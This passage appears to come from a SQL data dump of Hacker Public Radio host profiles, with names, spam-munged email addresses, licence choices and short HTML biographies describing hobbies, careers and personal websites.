(356,'Mongo','mongo.nospam@nospam.mailfence.com','<p>\r\nI am a retired former Systems Administrator. The last almost 20 years was supporting Windows servers. After retiring, I still wanted to play with computers, but need to keep costs reasonable. When Windows XP went unsupported, I found a nice Linux replacement for my old netbook. Now, a couple years later, I am getting serious about switching. This project is part of my path to freedom.\r\n</p>','CC-BY-SA',0,'',1,'Mongo'),
(357,'bjb','bjb.nospam@nospam.sourcerer.ca','','CC-BY-SA',0,'',1,'bjb'),
(358,'Ironic Sodium','ironic.sodium.42.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Ironic Sodium'),
(361,'Aaressaar','sundaryourfriend.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Aaressaar'),
(362,'MPardo','mpardohpr.nospam@nospam.gmail.com','','CC-0',0,'',1,'MPardo'),
(363,'the_remora','HPR+the_remora.nospam@nospam.theremora.me','<p>\r\nI enjoy messing with Linux, Playing Board Games, Role-Playing Games and LARPING\r\n</p>','CC-BY-SA',1,'',1,'the_remora'),
(364,'Tuula','tuukka.turto.nospam@nospam.oktaeder.net','<!-- test --><p>\r\nEternal tinkerer of code, who occasionally writes things down at <a href=\"https://engineersjourney.wordpress.com/\">https://engineersjourney.wordpress.com/</a>\r\n or contributes to hylang project at <a href=\"https://github.com/hylang/hy\">https://github.com/hylang/hy</a>\r\n</p>','CC-BY-SA',0,'',1,'Tuula'),
(365,'Bookewyrmm','tasettle.nospam@nospam.gmail.com','A man, out, standing, in his field','CC-BY-SA',0,'',1,'bookworm'),
(381,'Nihilazo','nico.nospam@nospam.itwont.work','<p>I\'m just a person. I blog @ <a href=\"itwont.work\">https://itwont.work/</a></p>','CC-BY-SA',1,'',1,'Niel azo'),
(366,'Philip','philip.nospam@nospam.shutdown.network','','CC-BY-SA',0,'',1,'Philip'),
(368,'Xtrato','james.nospam@nospam.jamesdotcom.com','<p>Interested in Network security and Technology</p>','CC-BY-SA',0,'',1,'Xtrato'),
(369,'Jeroen Baten','jbaten.nospam@nospam.i2rs.nl','<p>\r\nI solve IT problems. I connect system A with system B. I teach people stuff. I do this mostly with Linux systems. To make stuff happen I write a lot of custom scripts in various programming lanuages like Perl, Python, Bash, C, Java, Ruby, etc. I have clients all over the world (Australia, Switserland, US, etc).\r\n</p>\r\n<p>\r\nI am also the project leader of the open source LibrePlan project. So go to that site if you need more information about an open source webbased project management application.\r\n</p>\r\n<p>\r\nI occasionally write an article for my blog, but I have also written a number of books:\r\n</p>\r\n<ul>\r\n<li>Jumpstart your business with Odoo 12</li>\r\n<li>LPI Essentials (Dutch)</li>\r\n<li>LibrePlan, the missing manual (English)</li>\r\n</ul>\r\n<p>\r\nIf you have a question, please contact me at jeroen@jeroenbaten.nl.\r\n</p>\r\n<p>\r\nHave a nice day.\r\n</p>','CC-BY-SA',0,'',1,'Jeroen Baten'),
(370,'Yannick','yannick.nospam@nospam.frenchguy.ch','<p>\r\nI\'m Yannick. I\'m french, I live in Switzerland. Hence, the french guy from Switzerland !<br />\r\nI\'m a geek, a father, a podcaster.<br />\r\nI\'m interested in programming, of all sorts, in all kinds of languages.<br />\r\nI like to tinker with basic electronics components, especially LEDs !<br />\r\nI have half a dozen Raspberry Pis, and probably twice that amount of micro controllers of all sorts.<br />\r\nI have many websites :\r\n</p>\r\n<ul>\r\n<li><a href=\"https://frenchguy.ch\">https://frenchguy.ch</a></li>\r\n<li><a href=\"https://theawesomejinglefactory.frenchguy.ch/\">https://theawesomejinglefactory.frenchguy.ch/</a></li>\r\n<li><a href=\"https://euterpiaradio.ch\">https://euterpiaradio.ch</a></li>\r\n</ul>','CC-0',0,'',1,'Yannick'),
(371,'desearcher','desearcher.nospam@nospam.gmail.com','<p> Hello, World! </p> <p> I\'m just a TRS-80 that grows algae while my code compiles. </p> <p> Sometimes I beep. </p>','CC-BY-SA',0,'',1,'de searcher'),
(372,'Edward Miro / c1ph0r','c1ph0r.nospam@nospam.protonmail.com','<p>\r\nJust an old dude from the internet.\r\n<br />\r\n<br />\r\nI gave a talk at a local hacker con once about vehicle based surveillance.\r\nI also contributed to a privacy/hacking project called <a href=\"https://shadowlinkit.com/\">Shadowlink </a>with the main focus being the NetP Wiki (The NetP Wiki is a fully collaborative and dynamic guide designed to help navigate the world of privacy &amp; anonymity).\r\n<br />\r\n<br />\r\nCurrently moving prior blogs and content over to my GitHub Page:\r\n<a href=\"https://c1ph0r.github.io/\">https://c1ph0r.github.io/ </a>\r\n<br />\r\n<br />\r\nPrevious episodes:<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2707\">hpr2707 :: Steganalysis 101 </a>\r\n</p>\r\n','CC-BY-SA',0,'',1,'Edward Miero'),
(373,'Floyd C Poynter','Floyd.C.Poynter.nospam@nospam.protonmail.com','','CC-BY-SA',0,'',1,'Floyd C Poynter'),
(374,'aldenp','alden.peeters.nospam@nospam.leagueh.xyz','<p>\r\nOpen source and decentralization/P2P enthusiast\r\n</p>','CC-BY-SA',1,'',1,'aldenp'),
(375,'minnix','minnix.nospam@nospam.minnix.dev','find me on mastodon: @minnix@upallnight.minnix.dev\r\n\r\nfind me on matrix: @minnix:minnix.dev\r\n\r\nfind me on peertube: https://nightshift.minnix.dev/c/nightshift/videos?s=1\r\n\r\nfind me on funkwhale: @minnix@allnightlong.minnix.dev\r\n\r\nfind me in your ears: https://linuxlugcast.com/','CC-0',0,'',1,'minnix'),
(376,'Joel D','joel.nospam@nospam.jdueck.net','<p>\r\nI\'m a dad and programmer in Minnesota. I enjoy publishing small books, small websites and small programs, sometimes all at once! I am at <a href=\"https://joeldueck.com\">https://joeldueck.com</a>, <a href=\"https://twitter.com/joeld\">@joeld</a> on Twitter, or <a href=\"https://icosahedron.website/@joeld\">@joeld@icosahedron.website</a> on Mastodon.\r\n</p>\r\n','CC-BY-SA',0,'',1,'Joel D'),
(377,'Zen_Floater2','zen_floater2.nospam@nospam.yahoo.com','<p>My name is Zen_Floater2, I am a former human being, converted into a Squirrel by {ALIENS} in the 1960\'s and placed in a magical forest in Eastern Oklahoma. Green Country; I think they call it.<br />\r\nI started developing software in 1975 post Vietnam. Atheist and complainer about HUMANS and their STUFF</p>','CC-BY-SA',0,'',1,'Zen Floater two'),
(378,'Shannon Wright','support.nospam@nospam.wrighttechnical.net','<p>\r\nI have been using technology since the early 90s. I love anything tech. My career started in technical phone support in the 90s. I have since moved into areas such as: content manager, technical training, business systems analyst, systems administrator and systems engineer. I love solving problems and continue to learn something new all the time.</p>','CC-BY-SA',1,'',1,'Shannon Wright'),
(379,'mightbemike','mightbemike.nospam@nospam.protonmail.com','<p>\r\nCreator of Bitcorn Battle game <a href=\"https://bitcornbattle.com\">https://bitcornbattle.com</a>, and Rob this Farm contests for problem solvers that want to win free Bitcorn loot.\r\n</p>','CC-BY-SA',0,'',1,'might be mike'),
(380,'Carl','online.nospam@nospam.chave.us','','CC-BY-SA',0,'',1,'Carl'),
(382,'Daniel Persson','mailto.woden.nospam@nospam.gmail.com','<p> I\'m a developer that loves creating code, talking about different solutions, and learning new things. </p> <p> During the workday, I create systems to extract text from media assets, structure them, and produce different results to make the media accessible to everyone. </p> <p> In my time off, I like to create small prototypes and try different techniques and libraries. </p> <p> I\'m also creating some Youtube videos to inspire and help developers to improve their skills. Not that I know everything, but we learn by teaching. </p> <p> Other than these hobbies, I run some open-source projects. To mention a few, I developed the Android SQRL client and the Wordpress plugin for SQRL. I\'ve also contributed to projects creating braille text, epubs, and PDFs as these subjects are close to my daily work. I usually say that I know too much about the PDF file structure as I\'ve worked six years on a tool to extract text from PDFs. </p>','CC-BY-SA',0,'<p>Im a developer that loves creating code, talking about different solutions, and learning new things.</p>\r\n<p>During the workday, I create systems to extract text from media assets, structure them, and produce different results to make the media accessible to everyone.</p>\r\n<p>In my time off, I like to create small prototypes and try different techniques and libraries.</p>\r\n<p>Im also creating some Youtube videos to inspire and help developers to improve their skills. Not that I know everything, but we learn by teaching.</p>\r\n<p>Other than these hobbies, I run some open-source projects. To mention a few, I developed the Android SQRL client and the Wordpress plugin for SQRL. Ive also contributed to projects creating braille text, epubs, and PDFs as these subjects are close to my daily work. I usually say that I know too much about the PDF file structure as Ive worked six years on a tool to extract text from PDFs.</p>\r\n',1,'Daniel Persson'),
(383,'Paul Quirk','paul.nospam@nospam.pquirk.com','<p>I\'m a licensed electrician, but my hobbies include open source software and retro computing. After listening to Hacker Public Radio for almost a year, I decided to become a contributor.</p>','CC-BY-SA',1,'',1,'Paul Quirk'),
(384,'monochromec','monochromec.nospam@nospam.gmail.com','<p>\r\nTwo old wise men talking about free and open source software, life in general and having a bit of fun along the way.\r\n</p>','CC-BY',0,'',1,'monochromec'),
(385,'crvs','carvas.f.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'c r v s'),
(386,'DanNixon','dan.nospam@nospam.dan-nixon.com','<p>Software engineer, hacker, maker, open source activist.</p>','CC-BY-SA',0,'',1,'Dan Nixon'),
(389,'TrumpetJohn','john.nospam@nospam.biblicaltrumpets.org','<p>\r\nI am a trumpet player/musician/and worship leader with a PhD in church music. I enjoy \"life hacking\" and understanding how systems can influence our daily life, and free us to be more creative beings. My blog site is <a href=\"https://biblicaltrumpets.org\">biblicaltrumpets.org</a>.\r\n</p>','CC-BY-SA',0,'',1,'Trumpet John'),
(390,'o9l','amanda1usernamesarehard.nospam@nospam.protonmail.com','<p>\r\nI\'m o9l! The name comes from... well... that\'s a story for another time.\r\n</p>','CC-BY-SA',0,'',1,'o9l'),
(391,'Some Guy On The Internet','Lyunpaw.nospam@nospam.gmail.com','- Mastodon: @Yung_Lyun@mastodon.social \r\n- Matrix: @sgoti:matrix.org \r\n- Mumble (chatter.skyehaven.net): SGOTI \r\n\r\n- All messages, created by SGOTI, published on the Social Media \r\nplatforms: Mastodon, Matrix, and Mumble are licensed under \r\nCreative Commons Attribution-ShareAlike 4.0 International (CC-BY-SA 4.0 International). ','CC-BY-SA',0,'',1,'Some Guy On The Internet'),
(420,'HopperMCS','gage.nospam@nospam.gages.blog','I science the computers! https://madcompscientist.com','CC-BY-SA',1,'',1,'gage hopper'),
(392,'timttmy','marshall.cleave.nospam@nospam.tiscali.co.uk','<p>\r\nPlease contact me on my pleroma account @timttmy@the-pit.uk</p>','CC-BY-SA',0,'',1,'timttmy'),
(393,'Anonymous Host','Anonymous.Host.nospam@nospam.hackerpublicradio.org','A catch all account for those who wish to submit content anonymously.','CC-BY-SA',0,'',1,'Anonymous Host'),
(394,'Trey','jttrey3.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Trey'),